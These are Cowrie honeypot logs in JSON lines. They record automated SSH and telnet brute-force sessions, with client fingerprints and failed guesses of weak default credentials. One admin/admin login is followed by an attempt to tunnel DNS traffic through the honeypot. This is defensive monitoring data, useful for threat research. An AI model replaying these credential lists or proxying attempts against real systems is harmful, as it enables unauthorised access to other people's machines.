{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:59.924670Z","src_ip":"45.153.34.114","session":"fe8eb52389d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:00.185068Z","src_ip":"45.153.34.114","session":"fe8eb52389d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:01.276536Z","src_ip":"45.153.34.114","session":"fe8eb52389d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1514413356781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:02.822827Z","src_ip":"74.91.213.120","session":"9902de498886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46038,"dst_ip":"159.203.135.109","dst_port":22,"session":"975eeb7865ad","protocol":"ssh","message":"New connection: 45.153.34.114:46038 (159.203.135.109:22) [session: 975eeb7865ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:07.765819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:07.780041Z","src_ip":"45.153.34.114","session":"975eeb7865ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:07.852902Z","src_ip":"45.153.34.114","session":"975eeb7865ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:08.203470Z","src_ip":"45.153.34.114","session":"975eeb7865ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:09.290339Z","src_ip":"45.153.34.114","session":"975eeb7865ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.135123014450073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:14.464842Z","src_ip":"74.91.213.120","session":"26b5b2f05740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52768,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0a8abb56d7b","protocol":"ssh","message":"New connection: 45.153.34.114:52768 (159.203.135.109:22) [session: d0a8abb56d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:15.730351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:15.744939Z","src_ip":"45.153.34.114","session":"d0a8abb56d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:15.829264Z","src_ip":"45.153.34.114","session":"d0a8abb56d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:16.161425Z","src_ip":"45.153.34.114","session":"d0a8abb56d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:17.252989Z","src_ip":"45.153.34.114","session":"d0a8abb56d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.685378789901733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:18.696678Z","src_ip":"74.91.213.120","session":"59630aceb575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41056,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f5039a3e3f","protocol":"ssh","message":"New connection: 45.153.34.114:41056 (159.203.135.109:22) [session: b2f5039a3e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:23.780003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:23.784582Z","src_ip":"45.153.34.114","session":"b2f5039a3e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:23.867596Z","src_ip":"45.153.34.114","session":"b2f5039a3e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:24.172206Z","src_ip":"45.153.34.114","session":"b2f5039a3e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:25.259092Z","src_ip":"45.153.34.114","session":"b2f5039a3e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51364,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7d16516121","protocol":"ssh","message":"New connection: 45.153.34.114:51364 (159.203.135.109:22) [session: 3d7d16516121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:31.973543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:31.978413Z","src_ip":"45.153.34.114","session":"3d7d16516121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:32.062357Z","src_ip":"45.153.34.114","session":"3d7d16516121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:32.434835Z","src_ip":"45.153.34.114","session":"3d7d16516121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:33.529528Z","src_ip":"45.153.34.114","session":"3d7d16516121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54528,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c6794bc6f2","protocol":"telnet","message":"New connection: 74.91.213.120:54528 (159.203.135.109:23) [session: 48c6794bc6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:34.165379Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60022,"dst_ip":"159.203.135.109","dst_port":22,"session":"e88b89096cbc","protocol":"ssh","message":"New connection: 45.153.34.114:60022 (159.203.135.109:22) [session: e88b89096cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:40.177383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:40.182130Z","src_ip":"45.153.34.114","session":"e88b89096cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:40.273547Z","src_ip":"45.153.34.114","session":"e88b89096cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:40.541215Z","src_ip":"45.153.34.114","session":"e88b89096cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:41.631325Z","src_ip":"45.153.34.114","session":"e88b89096cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47138,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2df4b3c3077","protocol":"ssh","message":"New connection: 87.251.64.176:47138 (10.17.0.5:22) [session: b2df4b3c3077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:43.868560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:43.871965Z","src_ip":"87.251.64.176","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:43.967959Z","src_ip":"87.251.64.176","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:44.255434Z","src_ip":"87.251.64.176","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:44.356693Z","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:44.454189Z","src_ip":"87.251.64.176","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:44.686353Z","src_ip":"87.251.64.176","session":"b2df4b3c3077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60034,"dst_ip":"159.203.135.109","dst_port":22,"session":"112b7fc7b6e0","protocol":"ssh","message":"New connection: 45.153.34.114:60034 (159.203.135.109:22) [session: 112b7fc7b6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:48.129902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:48.136940Z","src_ip":"45.153.34.114","session":"112b7fc7b6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:48.248281Z","src_ip":"45.153.34.114","session":"112b7fc7b6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:48.502171Z","src_ip":"45.153.34.114","session":"112b7fc7b6e0","protocol":"ssh"}
